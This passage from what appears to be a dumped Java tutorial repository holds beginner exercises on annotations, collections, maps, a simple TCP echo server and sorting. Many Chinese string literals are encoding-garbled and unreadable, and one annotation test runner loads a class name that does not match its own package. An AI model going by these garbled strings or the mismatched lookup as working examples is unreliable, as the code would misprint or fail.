    "content": "package com.jun.plugin.javase.annotation;\n\nimport java.lang.reflect.Method;\n\n/**\n * 一个实例程序应用前面定义的Annotation：AnnotationDefineForTestFunction\n * \n * @author Wujun\n * \n */\npublic class UsingAnnotation {\n\t@AnnotationDefineForTestFunction\n\tpublic static void method01() {\n\t}\n\n\tpublic static void method02() {\n\t}\n\n\t@AnnotationDefineForTestFunction\n\tpublic static void method03() {\n\t\tthrow new RuntimeException(\"method03\");\n\t}\n\n\tpublic static void method04() {\n\t\tthrow new RuntimeException(\"method04\");\n\t}\n\n\tpublic static void main(String[] argv) throws Exception {\n\t\tint passed = 0, failed = 0;\n\t\t// 被检测的类名\n\t\tString className = \"com.ketayao.learn.javase.annotation.UsingAnnotation\";\n\t\t// 逐个检查此类的方法，当其方法使用annotation声明时调用此方法\n\t\tfor (Method m : Class.forName(className).getMethods()) {\n\t\t\tif (m.isAnnotationPresent(AnnotationDefineForTestFunction.class)) {\n\t\t\t\ttry {\n\t\t\t\t\tm.invoke(null);\n\t\t\t\t\tpassed++;\n\t\t\t\t} catch (Throwable ex) {\n\t\t\t\t\tSystem.out.printf(\"测试 %s 失败: %s %n\", m, ex.getCause());\n\t\t\t\t\tfailed++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.printf(\"测试结果：通过: %d, 失败： %d%n\", passed, failed);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/annotation/UsingBuiltInAnnotation.java",
    "content": "package com.jun.plugin.javase.annotation;\n\nimport java.util.List;\n\npublic class UsingBuiltInAnnotation {\n\t// 食物类\n\tclass Food {\n\t}\n\n\t// 干草类\n\tclass Hay extends Food {\n\t}\n\n\t// 动物类\n\tclass Animal {\n\t\tFood getFood() {\n\t\t\treturn null;\n\t\t}\n\n\t\t// 使用Annotation声明Deprecated方法\n\t\t@Deprecated\n\t\tvoid deprecatedMethod() {\n\t\t}\n\t}\n\n\t// 马类-继承动物类\n\tclass Horse extends Animal {\n\t\t// 使用Annotation声明覆盖方法\n\t\t@Override\n\t\tHay getFood() {\n\t\t\treturn new Hay();\n\t\t}\n\n\t\t// 使用Annotation声明禁止警告\n\t\t@SuppressWarnings({ \"deprecation\", \"unchecked\" })\n\t\tvoid callDeprecatedMethod(List horseGroup) {\n\t\t\tAnimal an = new Animal();\n\t\t\tan.deprecatedMethod();\n\t\t\thorseGroup.add(an);\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/ArrayListTest.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.ArrayList;\nimport java.util.Iterator;\n\npublic class ArrayListTest {\n\tpublic static void main(String[] args) {\n\t\tArrayList a1=new ArrayList();\n\t\ta1.add(new Person1(\"list\",21));\n\t\ta1.add(new Person1(\"list1\",22));\n\t\ta1.add(new Person1(\"list2\",23));\n\t\ta1.add(new Person1(\"list3\",24));\n\t\ta1.add(new Person1(\"list4\",25));\n\t\ta1.add(new Person1(\"list4\",25));\n\t\t\n\t\tPerson1 p1=new Person1(\"list4\",25);\n\t\tPerson1 p2=new Person1(\"list4\",25);\n\t\tSystem.out.println(p1.getName().equals(p2.getName()));\n\t\t\n\t\t/*a1=getSingleArrayList(a1);\n\t\tSystem.out.println(a1);*/\n\t\t\n\t}\n\tstatic ArrayList getSingleArrayList(ArrayList a1){\n\t\tArrayList temp=new ArrayList();\n\t\tboolean flag=false;\n\t\tIterator iter=a1.iterator();\n\t\twhile(iter.hasNext()){\n\t\t\tObject obj=iter.next();\n\t\t\tif(!temp.contains(obj)){\n\t\t\t\ttemp.add(obj);\n\t\t\t\tflag=true;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(flag);\n\t\treturn temp;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/ComparableByName.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\npublic class ComparableByName implements Comparable {\n\n\n\tpublic int compareTo(Object o1,Object o2) {\n\t\tPerson1 p1=(Person1) o1;\n\t\tPerson1 p2=(Person1) o2;\n\t\tint result=p1.getAge()>p2.getAge()?1:(p2.getAge()==p1.getAge()?0:-1);\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic int compareTo(Object o) {\n\t\t// TODO Auto-generated method stub\n\t\treturn 0;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/InternetTest.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\n\npublic class InternetTest {\n\tpublic static void main(String[] args) throws UnknownHostException {\n\t\tInetAddress ip;\n\t\tip=InetAddress.getLocalHost();\n\t\tString localname=ip.getHostName();\n\t\tString localip=ip.getHostAddress();\n\t\tSystem.out.println(\"��������\"+localname);\n\t\tSystem.out.println(\"����ip��\"+localip);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/LinkedListTest.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.LinkedList;\n\npublic class LinkedListTest {\n\tpublic static void main(String[] args) {\n\t\tLinkedList list=new LinkedList();\n\t\tlist.add(\"a\");\n\t\tlist.add(\"b\");\n\t\tlist.add(\"c\");\n\t\t/*pushS(list,\"d\");\n\t\tpopS(list);*/\n\t\tqueueAdd(list,\"d\");\n\t\tqueueRemove(list);\n\t}\n\t\n\tstatic void pushS(LinkedList list,Object obj){\n\t\tlist.add(0,obj);\n\t\tSystem.out.println(list);\n\t}//ͷ������\n\tstatic void popS(LinkedList list){\n\t\tlist.removeFirst();\n\t\tSystem.out.println(list);\n\t}\n\tstatic void queueAdd(LinkedList list,Object obj){\n\t\tlist.add(list.size(),obj);\n\t\tSystem.out.println(list);\n\t}//β������\n\tstatic void queueRemove(LinkedList list){\n\t\tlist.removeLast();\n\t\tSystem.out.println(list);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/LinkedListTest2.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.TreeMap;\n\npublic class LinkedListTest2 {\n\tpublic static void main(String[] args) {\n\t\tMap map=new HashMap();\n\t\tTicket t7=new Ticket(7,\"��ë���˼�7\",\"�ž�\",\"ʱ�������������˾����ؿ�������������\");\n\t\tTicket t8=new Ticket(8,\"��ë���˼�8\",\"��ʮ\",\"����ɳ�����������ҿ����������ʵ������Ƽ�\");\n\t\tTicket t1=new Ticket(1,\"��ë���˼�1\",\"����\",\"IE���Һ;���������ʦ�ܿ�ݷ�ʽ�뿪���ҵ�˵��������\");\n\t\tTicket t2=new Ticket(2,\"��ë���˼�2\",\"����\",\"�϶��ǹ��������Ӿ绯���㵹��\");\n\t\tTicket t3=new Ticket(3,\"��ë���˼�3\",\"����\",\"����������������ɫ�����˿����ӻ�����˽��\");\n\t\tTicket t4=new Ticket(4,\"��ë���˼�4\",\"����\",\"ż�����Ͽ����Ƿݿ��ֵ��ͷ���Ŀ��ִ������\");\n\t\tTicket t5=new Ticket(5,\"��ë���˼�5\",\"����\",\"�ѿ���ʥ���ڸ��������Ӿ縡����ƨŶ���ʹ����׸��ķ���\");\n\t\tTicket t6=new Ticket(6,\"��ë���˼�6\",\"�Ű�\",\"���Ҿ��ն�Ŷ�ͷſյ�˵���￵��Ǹ����˵�˵����żis�������Ļ���\");\n\t\t\n\t\tmap.put(t1.getName(), t1.getIntroduce());\n\t\tmap.put(t2.getName(), t2.getIntroduce());\n\t\tmap.put(t3.getName(), t3.getIntroduce());\n\t\tmap.put(t4.getName(), t4.getIntroduce());\n\t\tmap.put(t5.getName(), t5.getIntroduce());\n\t\tmap.put(t6.getName(), t6.getIntroduce());\n\t\tmap.put(t7.getName(), t7.getIntroduce());\n\t\tmap.put(t8.getName(), t8.getIntroduce());\n\t\t\n\t\tTreeMap treemap=new TreeMap();\n\t\ttreemap.putAll(map);\n\t\tIterator it=treemap.keySet().iterator();\n\t\twhile(it.hasNext()){\n\t\t\tString str=(String)it.next();\n\t\t\tString intr=(String)treemap.get(str);\n\t\t\tSystem.out.println(str+\"---\"+intr);\n\t\t}\n\t\t\n\t\tPerson p1=new Person();\n\t\tp1.buyTicket(map,\"��ë���˼�4\");\n\t\tSystem.out.println(map.keySet());\n\t}\n}\nclass Person{\n\tpublic Person(){\n\t\t\n\t}\n\tpublic void buyTicket(Map map,String name){\n\t\tTicket.sell(map, name);\n\t}\n}\nclass Ticket{\n\tprivate int id;\n\tprivate String name;\n\tprivate String director;\n\tprivate String introduce;\n\tpublic Ticket(){\n\t\t\n\t}\n\tpublic Ticket(int id, String name, String director, String introduce) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.name = name;\n\t\tthis.director = director;\n\t\tthis.introduce = introduce;\n\t}\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getDirector() {\n\t\treturn director;\n\t}\n\tpublic void setDirector(String director) {\n\t\tthis.director = director;\n\t}\n\tpublic String getIntroduce() {\n\t\treturn introduce;\n\t}\n\tpublic void setIntroduce(String introduce) {\n\t\tthis.introduce = introduce;\n\t}\n\tpublic static void sell(Map map,String name){\n\t\tSystem.out.println(\"�㹺���Ʊ��\"+name);\n\t\tmap.remove(name);\n\t\tSystem.out.println(\"�Ѿ�Ϊ���Ʊ\");\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/ListTest.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.ListIterator;\n\npublic class ListTest {\n\tpublic static void main(String[] args) {\n\t\tList list=new LinkedList();\n\t\tshow(list);\n\t\t/*Object[] obj=new Object[10];\n\t\tint[] arr={1,2,3,4,5};\n\t\tString[] strArr={\"a\",\"b\",\"c\"};\n\t\tobj[0]=arr;\n\t\tobj[1]=arr;\n\t\tobj[2]=strArr;\n\t\tobj[3]=strArr;\n\t\tfor(int i=0;i<obj.length;i++){\n\t\t\tSystem.out.println(obj[i]);\n\t\t}*/\n\t}\n\tstatic void show(List list){\n\t\tlist.add(\"abc1\");\n\t\tlist.add(\"abc2\");\n\t\tlist.add(\"abc3\");\n\t\tlist.add(\"abc4\");\n\t\tlist.add(\"abc5\");\n\t\tlist.add(\"abc6\");\n\t\tlist.add(9);\n\t\tListIterator it=list.listIterator();\n\t\twhile(it.hasNext()){\n\t\t\tObject obj=it.next();\n\t\t\tif(obj.equals(\"abc3\")){\n\t\t\t\tit.set(\"hehe\");\n\t\t\t}\n\t\t\tSystem.out.println(obj);\n\t\t}\n\t\t\n\t\tSystem.out.println(list);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/MapTest.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.TreeMap;\n\npublic class MapTest {\n\tpublic static void main(String[] args) {\n\t\tMap<String,String>map=new HashMap<String,String>();\n\t\tEmp emp=new Emp(\"351\",\"����\");\n\t\tEmp emp2=new Emp(\"350\",\"����\");\n\t\tEmp emp3=new Emp(\"315\",\"����\");\n\t\tEmp emp4=new Emp(\"355\",\"����\");\n\t\tEmp emp5=new Emp(\"305\",\"�Ŷ�\");\n\t\t\n\t\tmap.put(emp4.getE_id(), emp4.getE_name());\n\t\tmap.put(emp2.getE_id(), emp2.getE_name());\n\t\tmap.put(emp3.getE_id(), emp3.getE_name());\n\t\tmap.put(emp.getE_id(), emp.getE_name());\n\t\tmap.put(emp5.getE_id(), emp5.getE_name());\n\t\t\n\t\tSet <String>set=map.keySet();\n\t\tIterator <String>it=set.iterator();\n\t\twhile(it.hasNext()){\n\t\t\tString str=(String)it.next();\n\t\t\tString name=(String)map.get(str);\n\t\t\tSystem.out.println(str+\" \"+name);\n\t\t}\n\t\tSystem.out.println(\"---------\");\n\t\tTreeMap<String,String>treemap=new TreeMap<String, String>();\n\t\ttreemap.putAll(map);\n//\t\tSet <String>sett=treemap.keySet();\n//\t\tIterator <String>iter=sett.iterator();\n\t\tIterator<String>iter=treemap.keySet().iterator();\n\t\twhile(iter.hasNext()){\n\t\t\tString str=(String)iter.next();\n\t\t\tString name=(String)treemap.get(str);\n\t\t\tSystem.out.println(str+\" \"+name);\n\t\t}\n\t}\n}\n\nclass Emp{\n\tprivate String e_id;\n\tprivate String e_name;\n\tEmp(String e_id,String e_name){\n\t\tthis.e_id=e_id;\n\t\tthis.e_name=e_name;\n\t}\n\tpublic String getE_id() {\n\t\treturn e_id;\n\t}\n\tpublic void setE_id(String e_id) {\n\t\tthis.e_id = e_id;\n\t}\n\tpublic String getE_name() {\n\t\treturn e_name;\n\t}\n\tpublic void setE_name(String e_name) {\n\t\tthis.e_name = e_name;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/MenuTest.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.TreeMap;\n\npublic class MenuTest {\n\tpublic static void main(String[] args) {\n\t\tMap map=new TreeMap();\n\t\tfor(int i=0;i<20;i++){\n\t\t\tMenu mapp=new Menu(i, \"������������\"+i, i+9.9);\n\t\t\tmap.put(mapp.getId(), (mapp.getName()+\"  �۸�\"+mapp.getPrice()));\n//\t\t\tSystem.out.println(mapp.getId()+\"-----\"+mapp.getName()+\"-----\"+mapp.getPrice());\n\t\t}\n\t\t/*Iterator iter=map.keySet().iterator();\n\t\twhile(iter.hasNext()){\n\t\t\tObject id=iter.next();\n\t\t\tObject name=map.get(id);\n\t\t\tSystem.out.println(id+\"------\"+name);\n\t\t}*/\n\t\t\n\t\tPerson1 p1=new Person1(); \n\t\tp1.order(map,7);\n\t}\n}\nclass Menu{\n\tprivate int id;\n\tprivate String name;\n\tprivate double price;\n\tMenu(){\n\t\t\n\t}\n\tMenu( int id,String name,double price){\n\t\tthis.id=id;\n\t\tthis.name=name;\n\t\tthis.price=price;\n\t}\n\t\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\t\n\tpublic double getPrice() {\n\t\treturn price;\n\t}\n\tpublic void setPrice(double price) {\n\t\tthis.price = price;\n\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/Person1.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.Map;\n\npublic class Person1 implements Comparable{\n\tprivate String name;\n\tprivate int age;\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\tpublic Person1(String name, int age) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t}\n\tPerson1(){\n\t\t\n\t}\n\t\n\tpublic void order(Map map,int id){\n\t\tSystem.out.println(\"���Ĳ��ǣ�\"+map.get(id));\n\t}\n\t\n\t\n\t\n\t\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = 1;\n\t\tresult = prime * result + age;\n\t\tresult = prime * result + ((name == null) ? 0 : name.hashCode());\n\t\treturn result;\n\t}\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (obj == null)\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tPerson1 other = (Person1) obj;\n\t\tif (age != other.age)\n\t\t\treturn false;\n\t\tif (name == null) {\n\t\t\tif (other.name != null)\n\t\t\t\treturn false;\n\t\t} else if (!name.equals(other.name))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\t@Override\n\tpublic String toString() {\n\t\treturn \"Person1 [name=\" + name + \", age=\" + age + \"]\";\n\t}\n\t@Override\n\tpublic int compareTo(Object o) {\n\t\tPerson1 p1=(Person1) o;\n\t\tint result=this.age>p1.getAge()?1:(this.age==p1.getAge()?0:-1);\n\t\treturn result;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/SetTest.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.TreeSet;\n\npublic class SetTest {\n\tpublic static void main(String[] args) {\n\t\tHashSet hs=new HashSet();\n\t\ths.add(new Person1(\"zs\",21));\n\t\ths.add(new Person1(\"ls\",22));\n\t\ths.add(new Person1(\"ww\",23));\n\t\tIterator it=hs.iterator();\n\t\twhile(it.hasNext()){\n\t\t\tSystem.out.println(it.next());\n\t\t}\n\t\t\n\t\tSystem.out.println(\"-----------\");\n\t\t\n\t\tTreeSet ts=new TreeSet();\n\t\tts.add(new Person1(\"zs\",21));\n\t\tts.add(new Person1(\"ls\",19));\n\t\tts.add(new Person1(\"ww\",3));\n\t\tIterator iter=ts.iterator();\n\t\twhile(iter.hasNext()){\n\t\t\tSystem.out.println(iter.next());\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/StringTest.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.HashMap;\n\npublic class StringTest {\n\tpublic static void main(String[] args) {\n\t\tHashMap<Character,Integer> hashmap=new HashMap();\n\t\tString str=\"ababdcdacbfxsrvfgr\";\n\t\tfor(int i=0;i<str.length();i++){\n\t\t\tif(!hashmap.containsKey(str.charAt(i))){\n\t\t\t\thashmap.put(str.charAt(i), new Integer(1));\n\t\t\t}else{\n\t\t\t\thashmap.put(str.charAt(i),hashmap.get(str.charAt(i))+1);\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(hashmap);\n\t\tSystem.out.println(\"-------�ָ���-------\");\n\t\tchar[] arr=str.toCharArray();\n\t\tint countt=1;\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tfor(int j=i+1;j<arr.length;j++){\n\t\t\t\tif(arr[i]==arr[j]&&arr[j]!=0){\n\t\t\t\t\tcountt++;\n\t\t\t\t\tarr[j]='0';\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(arr[i]!='0'){\n\t\t\t\tSystem.out.print(arr[i]+\"(\"+countt+\")\"+\",\");\n\t\t\t}\n\t\t\tcountt=1;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/StringTest2.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.TreeMap;\n\npublic class StringTest2 {\n\tpublic static void main(String[] args) {\n\t\tString str=\"ababdcdacbfxsrvfgr\";\n\t\tSystem.out.println(getCharCount(str));\n\t}\n\tpublic static String getCharCount(String str){\n\t\tchar[] ch=str.toCharArray();\n\t\tMap <Character,Integer> map=new TreeMap<Character,Integer>();\n\t\tfor(int i=0;i<ch.length;i++){\n\t\t\tif(!(Character.toLowerCase(ch[i])>='a'&&Character.toLowerCase(ch[i])<='z')){\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tInteger value=map.get(ch[i]);\n\t\t\tint count=1;\n\t\t\tif(value!=null){\n\t\t\t\tcount=value+1;\n\t\t\t}\n\t\t\tmap.put(ch[i], count);\n\t\t}\n\t\treturn mapToString(map);\n\t}\n\t\n\tpublic static String mapToString(Map<Character,Integer>map){\n\t\tStringBuilder sb=new StringBuilder();\n\t\tIterator<Character>it=map.keySet().iterator();\n\t\twhile(it.hasNext()){\n\t\t\tCharacter key=it.next();\n\t\t\tInteger value=map.get(key);\n\t\t\tsb.append(key+\"(\"+value+\")\"+\",\");\n\t\t}\n\t\treturn sb.toString();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/Test1.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.TreeSet;\n\npublic class Test1 {\n\tpublic static void main(String[] args) {\n//\t\tArrayList\n\t\t/*Collection list=new ArrayList ();\n\t\tCollection list1=new ArrayList ();\n\t\tlist.add(\"a\");\n\t\tlist.add(\"b\");\n\t\tlist.add(\"c\");\n\t\tlist.add(\"d\");\n\t\tlist1.add(\"c\");\n\t\tlist1.add(\"d\");\n\t\tlist1.add(\"e\");\n\t\tlist1.add(\"f\");*/\n//\t\tlist.removeAll(list1);//����\n//\t\tlist.retainAll(list1);//����\n//\t\tlist.clear();\n//\t\tSystem.out.println(list.hashCode());\n\t\t/*Iterator iter=list.iterator();\n\t\twhile(iter.hasNext()){\n\t\t\tSystem.out.println(iter.next());\n\t\t}\n\t\tSystem.out.println(\"--------\");\n\t\tIterator it=list1.iterator();\n\t\twhile(it.hasNext()){\n\t\t\tSystem.out.println(it.next());\n\t\t}*/\n\t\t\n\t\t\n//\t\tLinkedList\n\t\t/*List<String[]> linked=new LinkedList<String[]>();\n\t\tString[] s1={\"q\",\"w\",\"e\"};\n\t\tString[] s2={\"p\",\"o\",\"i\",\"h\"};\n\t\tlinked.add(s1);\n\t\tlinked.add(s2);\n\t\tfor(int j=0;j<linked.size();j++){\n\t\t\tfor(int i=0;i<linked.get(0).length;i++){\n\t\t\t\tSystem.out.print(linked.get(j)[i]+\",\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tSystem.out.println(\"---------\");\n\t\tIterator<String[]>it=linked.iterator();\n\t\twhile(it.hasNext()){\n\t\t\tString[] str=(String[])it.next();\n\t\t\tfor(int i=0;i<str.length;i++){\n\t\t\t\tSystem.out.print(str[i]+\",\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tSystem.out.println();*/\n\t\t/*List linked1=new LinkedList ();\n\t\tString[] s11={\"a\",\"d\",\"s\",\"c\"};\n\t\tint[] s22={1,2,3,4,5,6};\n\t\tint a=9;\n\t\tlinked1.add(s11);\n\t\tlinked1.add(s22);\n\t\tlinked1.add(a);\n\t\tIterator it1=linked1.iterator();\n\t\twhile(it1.hasNext()){\n\t\t\tSystem.out.println(it1.next());\n\t\t}\n\t\tSystem.out.println(\"----------\");*/\n\t\t\n//\t\tHashSet//���򡢲����ظ��Ҵ�����������Ϳ��Բ�ͬ\n\t\t/*Set s111=new HashSet();\n\t\tint[] arrNum={1,2,3,4,5};\n\t\tint[] arrNum2={9,8,7,6,5};\n\t\ts111.add(\"a\");\n\t\ts111.add(\"a\");\n\t\ts111.add(5);\n\t\ts111.add(arrNum);\n\t\ts111.add(arrNum);\n\t\tIterator it11=s111.iterator();\n\t\twhile(it11.hasNext()){\n\t\t\tSystem.out.println(it11.next());\n\t\t}\n\t\tSystem.out.println(\"----------\");*/\n\t\t\n\t\t\n//\t\tTreeSet//���򡢲����ظ��Ҵ�����������ͱ�����ͬ���Դ���ĵ�һ��ֵ����Ϊ׼��������дcompareTo����\n\t\t/*Set s222=new TreeSet();\n\t\tint[] arrNum={1,2,3,4,5};\n//\t\tint[] arrNum2={9,8,7,6,5};\n\t\ts222.add(arrNum);\n//\t\ts222.add(arrNum2);\n\t\tIterator it111=s222.iterator();\n\t\twhile(it111.hasNext()){\n\t\t\tSystem.out.println(it111.next());\n\t\t}*/\n\t\t\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/Test11.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.net.ServerSocket;\nimport java.net.Socket;\n\npublic class Test11 {\n\tpublic static void main(String[] args) throws IOException {\n\t\tMyTcp tcp=new MyTcp();\n\t\ttcp.getServer();\n\t}\n}\nclass MyTcp{\n\tprivate BufferedReader reader;\n\tprivate ServerSocket server;\n\tprivate Socket socket;\n\tvoid getServer() throws IOException{\n\t\tserver=new ServerSocket(8989);\n\t\tSystem.out.println(\"�������׽����Ѿ������ɹ�\");\n\t\twhile(true){\n\t\t\tSystem.out.println(\"�ȴ��ͻ���������\");\n\t\t\tsocket=server.accept();\n\t\t\treader=new BufferedReader(new InputStreamReader(socket.getInputStream()));\n\t\t\tgetClientMessage();\n\t\t}\n\t}\n\t\n\tprivate void getClientMessage(){\n\t\ttry{\n\t\t\twhile(true){\n\t\t\t\tSystem.out.println(\"�ͻ�����\"+reader.readLine());\n\t\t\t}\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\ttry{\n\t\t\tif(reader!=null){\n\t\t\t\treader.close();\n\t\t\t}\n\t\t\tif(socket!=null){\n\t\t\t\tsocket.close();\n\t\t\t}\n\t\t}catch(IOException e){\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/collectionn/Testtt.java",
    "content": "package com.jun.plugin.javase.collectionn;\n\npublic class Testtt {\n\tpublic static void main(String[] args) {\n\t\tPersonn t1=Factory.createPersonn(Factory.TYPE_T);\n\t\tt1.desc();\n\t}\n}\nabstract class Personn{\n\tpublic abstract void desc();\n}\nclass Worker extends Personn{\n\t@Override\n\tpublic void desc() {\n\t\t// TODO Auto-generated method stub\n\t\tSystem.out.println(\"���˱�������\");\n\t}\n\tpublic void show(){\n\t\tSystem.out.println(\"������з���\");\n\t}\n}\nclass Teacher extends Personn {\n\t@Override\n\tpublic void desc() {\n\t\t// TODO Auto-generated method stub\n\t\tSystem.out.println(\"��ʦ��������\");\n\t}\n}\n\nclass Factory{\n\tpublic static final int TYPE_W=1;\n\tpublic static final int TYPE_T=2;\n\tpublic static Personn createPersonn(int type){\n\t\tswitch(type){\n\t\t\tcase TYPE_W:\n\t\t\t\treturn new Worker();\n\t\t\tcase TYPE_T:\n\t\t\t\treturn new Teacher();\n\t\t}\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/day8/Exam.java",
    "content": "package com.jun.plugin.javase.day8;\n\nimport java.util.Arrays;\nimport java.util.Scanner;\n\npublic class Exam {\n\tpublic static void main(String[] args) {\n\t\t/*int[] arrSort={5,2,7,8,12,4,9,7,6};\n\t\tfor(int i=1;i<arrSort.length;i++){\n\t\t\tfor(int j=0;j<arrSort.length-i;j++){\n\t\t\t\tif(arrSort[j]>arrSort[j+1]){\n\t\t\t\t\tint temp=arrSort[j];\n\t\t\t\t\tarrSort[j]=arrSort[j+1];\n\t\t\t\t\tarrSort[j+1]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor(int i=0;i<arrSort.length;i++){\n\t\t\tSystem.out.print(arrSort[i]+\",\");\n\t\t}\n\t\tSystem.out.println();\n\t\tint[] arrSort2={6,3,76,23,16,84,0};\n\t\tfor(int i=0;i<arrSort2.length;i++){\n\t\t\tfor(int j=i+1;j<arrSort2.length;j++){\n\t\t\t\tif(arrSort2[i]>arrSort2[j]){\n\t\t\t\t\tint temp=arrSort2[i];\n\t\t\t\t\tarrSort2[i]=arrSort2[j];\n\t\t\t\t\tarrSort2[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor(int i=0;i<arrSort2.length;i++){\n\t\t\tSystem.out.print(arrSort2[i]+\",\");\n\t\t}\n\t\t\n\t\t\n\t\tSystem.out.println(fa(11));\n\t\t\n\t\t\n\t\tint num=90;\n\t\tint min=2;\n\t\tSystem.out.print(num+\"=\");\n\t\twhile(min<=num){\n\t\t\tif(num%min==0){\n\t\t\t\tif(num==min){\n\t\t\t\t\tSystem.out.print(min);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tSystem.out.print(min+\"*\");\n\t\t\t\t}\n\t\t\t\tnum=num/min;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tmin++;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\t\n\t\tdouble sum=0,f=1;\n\t\tfor(int i=1;i<=100;i++){\n\t\t\tf=i;\n\t\t\tif(f%2==0){\n\t\t\t\tf=-f;\n\t\t\t}\n\t\t\tsum+=1/f;\n\t\t}\n\t\tSystem.out.println(sum);\n\t\t\n\t\tint[][] arrOld={{1,2},{3,4},{5,6}};\n\t\tint n=arrOld.length,m=arrOld[0].length;\n\t\tint[][] arrNew=new int[m][n];\n\t\tfor(int i=0;i<m;i++){\n\t\t\tfor(int j=0;j<n;j++){\n\t\t\t\tarrNew[i][j]=arrOld[j][m-i-1];\n\t\t\t}\n\t\t}\n\t\tfor(int i=0;i<arrNew.length;i++){\n\t\t\tfor(int 